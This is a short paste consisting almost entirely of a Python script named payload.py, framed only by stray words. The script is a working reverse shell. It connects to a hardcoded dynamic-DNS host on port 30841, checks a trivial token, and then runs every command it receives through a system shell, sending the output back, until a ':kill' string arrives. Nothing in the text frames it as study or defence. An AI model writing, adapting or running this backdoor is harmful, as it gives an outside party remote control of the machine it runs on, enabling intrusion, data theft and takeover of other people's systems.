asdf

payload.py

#!/usr/bin/python
import subprocess
import socket
import time as t

service = "cronixx.ddns.net"
port = 30841
token = "123"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


def start():
    sock.connect((service, port))
    login()


def recv_stripped(bufsiz):
    return str(sock.recv(bufsiz), encoding='UTF-8')


def send_unstripped(msg):
    sock.send(bytes(str(msg), encoding='UTF-8'))


def login():
    """ Checks for login """
    send_unstripped('Login: ')
    key = recv_stripped(1024)
    if key != token:
        login()
    else:
        send_unstripped('Connected #> ')
        shell()


def shell():
    """ Executes Shell commands """
    while True:
        data = recv_stripped(1024)

        if data == ":kill":
            sock.close()
            quit()

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        send_unstripped(output)


start()

"send_unstripped" perversling..